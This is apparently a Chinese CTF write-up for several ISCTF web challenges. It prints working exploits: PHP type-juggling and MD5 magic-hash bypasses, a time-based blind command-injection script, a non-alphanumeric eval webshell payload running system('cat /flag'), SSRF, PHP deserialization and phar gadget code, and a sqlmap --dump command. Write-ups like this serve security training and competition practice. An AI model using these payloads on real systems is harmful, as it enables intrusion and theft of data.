EASY-PHP01

查看源代码

根据提示传参
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
if (isset($_POST['ISCTF'])) {
$ISCTF = $_POST['ISCTF'];
if($ISCTF == 114514){
if($ISCTF === "114514"){
echo "好臭啊";
}else{
echo $flag;
}
}else{
echo "= == === != !==";
}
}else{
echo "什么是POST?";
}
}else{
echo " 什么是GET?";
}
ISCTF{a5393be1-a3ad-4b92-a750-7f1fc0ac0a5d}

payload
?hint
ISCTF=114514.0
这里的114514是整数型,我们输入的是浮点型所以成功过获取flag
EASY-PHP02

<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
echo "做题前请告诉我你是小蓝鲨吗?";
exit();
}
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){
if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){
$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}
if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
if( $GET1 == 0 ){
echo "<br>"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";
$Ag=base64_encode($flag2);
}
}
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
需要我们传参五个参数一个输入名字,两个不同数字进行比较MD5值弱比较,两个不能为数字且一个大于678一个等于0

payload
?NAME=小蓝鲨&P0ST1=0e123&P0ST2=240610708
GET1=0a&GET2=999a


一个十六进制转文本一个base64解码后UrlDecode解码
FakeWeb

burpsuite抓包 发现跳转页面

经过查阅资料,发现If-None-Match和ETag是解题关键点
当浏览器请求服务器的某项资源(A)时,
服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag 返回给浏览器
浏览器把"3f80f-1b6-3e1cb03b" 和 A 同时缓存在本地,当下次再次向服务器请求A时
会通过类似 If-None-Match: "3f80f-1b6-3e1cb03b" 的请求头把ETag发送给服务器
服务器再次计算A的哈希值并和浏览器返回的值做比较,如果发现A发生了变化就把A返回给浏览器(200)
如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存,可以节省服务器的带宽
因为服务器不需要每次都把全量数据返回给客户端。
聪明的服务器开发者会把ETags和GET请求的"If-None-Match"头一起使用
这样可利用客户端(例如浏览器)的缓存。因为服务器首先产生ETag
服务器可在稍后使用它来判断页面是否已经被修改
本质上,客户端通过将该记号传回服务器要求服务器验证其(客户端)缓存
其过程如下:
1. 客户端请求一个页面(A)服务器返回页面A,并在给A加上一个ETag
客户端展现该页面,并将页面连同ETag一起缓存。
2. 客户再次请求页面A,并将上次请求时服务器返回的ETag一起传递给服务器
3. 服务器检查该ETag,并判断出该页面自上次客户端请求之后还未被修改
直接返回响应304(未修改------Not Modified)和一 个空的响应体

就是说要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包
crazy-onlineshell

根据提示进入/rce页面

我们来扫一下目录

不知道为什么还有一个页面要算pin值(之前的文章中有说过)
https://blog.csdn.net/fengci111/article/details/159212194?spm=1001.2014.3001.5501

有一个备份文件

原本应该是直接给我返回app.py页面的但是环境有问题,并没有找到
源码如下
import flask
import subprocess
app = flask.Flask(__name__)
@app.route("/")
def hello_world():
return "Try to access the /rce"
@app.route("/www.zip")
def return_SourceCode():
with open("./app.py", "r") as f: //访问www.zip会打开app.py
return f.read()
@app.route("/rce", methods=['GET', 'POST'])
def action_rce():
if flask.request.method == "GET":
return "Why not try to search the backup"
elif flask.request.method == "POST":
action = flask.request.form["act"] //在post传入act,写入命令
with open("/app/temp.sh", "w") as f:
f.write(action[1:-1]) //切片,截取第二个和倒数第二个字符之间的
res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
# print(res)
return "success"
if __name__ == '__main__':
app.run(debug=True)

能够成功执行

正常情况下是这样
我们直接时间盲注了
import requests
import string
from urllib import parse
import time
url = "http://challenge.imxbt.cn:30973/rce"
payload = ['if [ $(head -c ', ' flag) == "', '" ]; then sleep 1; echo "String1 and String2 are equal."; else echo "String1 and String2 are not equal."; fi']
disc = string.digits + string.ascii_letters + "{}+-*/_"
head = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Connection': 'close'}
flag = ""
for i in range(1, 50):
status = False
for j in disc:
pld = "'" + payload[0] + str(i) + payload[1] + flag + j + payload[2] + "'"
pld = parse.quote(pld)
# print(pld)
start_time = time.time()
# res = requests.post(url=url, headers=head, data="act=" + pld, proxies={'http': 'http://127.0.0.1:8080'})
res = requests.post(url=url, headers=head, data="act=" + pld)
# print(res.text)
end_time = time.time()
print(j + " " + str(end_time - start_time))
if (end_time - start_time) > 1:
status = True
flag += j
print("--> flag :" + flag)
break
if status == False:
print("--> " + flag + "<--")
exit()
成功获取flag

easy_upload

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
if (preg_match("/flag|\.\.|\/\//i", $file)) {
echo "no hack";
exit();
}
include $file;
}else{
include("upload.php");
}
?>


看到可以查看文件,我们直接上传图片马再进行文件包含

成功获取flag
rce?
<?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
$code = $_GET['shell'];
var_dump(eval($code));
}else{
echo "你能拿到flag吗?";
}

get提交
?shell=%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20%27_%27%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B
post提交
_=system('cat /flag');
或者
?shell=?><?=`.+/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F[%40-[]`%3B?>
用post把shell传上服务器,在shell里面写好我们想执行的代码
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。
用. file执行文件,是不需要file有x权限的。
那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下
默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母
------WebKitFormBoundarybHoBAeBi51cgXSkI
Content-Disposition: form-data; name="file"; filename="cmd1.txt"
Content-Type: image/plain
#!bin/sh
tac /flag
------WebKitFormBoundarybHoBAeBi51cgXSkI
Content-Disposition: form-data; name="submit"
submint
------WebKitFormBoundarybHoBAeBi51cgXSkI--
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");

或者异或也可以
curl

查看源代码

<!--
if(isset($_GET['urls'])){
$urls = $_GET['urls'];
$url_host = parse_url($urls,PHP_URL_HOST);
//Do something~~~~
curl_get($urls);
}
-->
IP地址伪造,服务端请求伪造,?urls= http://127.0.0.1/flag.php 这个不行,不能绕过,试一下
?urls=0.0.0.0/flag.php

猫和老鼠

<?php
class mouse
{
public $v;
}
class cat
{
public $a;
public $b;
public $c;
}
$m=new mouse;
$m->v="php://filter/read=convert.base64-encode/resource=flag.php";
$cat = new cat();
$cat->a=&$cat->b;
$cat->c=$m;
echo serialize($cat);


simplephp
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);
$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";#正则表达式模式
##\\\\\\\\/Ilikeisctf#。在 PHP 正则中,反斜杠 \ 既是 PHP 字符串的转义符,也是正则的转义符
#\\\\\\\\ 在 PHP 解释后变成 \\\\
#\\\\ 在正则引擎中匹配 2 个字面意义上的反斜杠 \\
#需要在 URL 中输入 ?str=\\/Ilikeisctf
function filter($num){
$num=str_replace("0x","1",$num); // 禁止十六进制
$num=str_replace("0","1",$num); // 将 0 替换为 1
$num=str_replace(".","1",$num); // 将点 替换为 1(禁止浮点数)
$num=str_replace("e","1",$num); // 将 e 替换为 1(禁止科学计数法)
$num=str_replace("+","1",$num); // 将 + 替换为 1
return $num;
}
if(preg_match($pattern,$str,$arr))
{
echo "good try!";
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
#is_numeric($num): 必须是数字或数字字符串。
#$num !== '36': 强类型比较,不能直接等于字符串 "36"。
#trim($num) !== '36': 去除两端空格后,依然不能等于 "36"。
#filter($num) == '36': 经过上面的 str_replace 过滤后,结果要变成 "36"。
echo "come on!!!";
if($num=='36'&isset($_GET['cmd'])){
eval($_GET['cmd']);
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
}


?str=\\/Ilikeisctf&num=%0c36&cmd=system("cat%20/flag");
#利用 PHP 的 str_replace 逻辑。我们可以输入 %0036(URL 编码)
#is_numeric("%0036") 在某些 PHP 版本下判定为 true
#filter 并不处理 %00,所以 filter("%0036") 依然含有不可见字符
#但在 == '36'(弱类型比较)时,PHP 会忽略开头的不可见字符
upload
<!DOCTYPE html>
<html>
<head>
<title>BaliYun图床</title>
<link rel="stylesheet" href="css/style.css">
<link href='//fonts.googleapis.com/css?family=Open+Sans:400,300italic,300,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'>
<link href='//fonts.googleapis.com/css?family=Montserrat:400,700' rel='stylesheet' type='text/css'>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="File Upload widget Widget Responsive, Login Form Web Template, Flat Pricing Tables, Flat Drop-Downs, Sign-Up Web Templates, Flat Web Templates, Login Sign-up Responsive Web Template, Smartphone Compatible Web Template, Free Web Designs for Nokia, Samsung, LG, Sony Ericsson, Motorola Web Design" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
</head>
<body>
<h1>welcome 蓝鲨</h1>
<div class="agile-its">
<h2>Image Upload</h2>
<div class="w3layouts">
<div class="photos-upload-view">
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">选择文件</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
<div id="messages">
<p>
<?php
include("class.php");
if(isset($_GET['img_name'])){
$down = new check_img();
echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
$up = new upload();
echo $up->start();
}
?>
</p>
</div>
</div>
<div class="clearfix"></div>
<script src="js/filedrag.js"></script>
</div>
</div>
<div class="footer">
<p> Powerded by <a href="http://w3layouts.com/">welcome 蓝鲨</a></p>
</div>
<script type="text/javascript" src="js/jquery.min.js"></script>
</div>
</body>
</html>
只是一个上传的页面
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
获取上传文件的原始名称
只能上传"gif", "jpeg", "jpg", "png"
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename);
}
}
反序列化触发
会读取 $this->filename 指定的文件内容并直接输出。
class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
重点在这里
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct($cmd){
$this->filename = $cmd;
$this->ext = ".png";
$this->size = 1;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename);
} }
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$payload = "/flag";
$object = new upload($payload);
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

修改为jpg后缀
?img_name=phar://upload/phar.jpg

傻柱




直接扫
python sqlmap.py -u "http://challenge.imxbt.cn:30875//login.php" --level 5 --dump

能直接出,就是扫得太慢了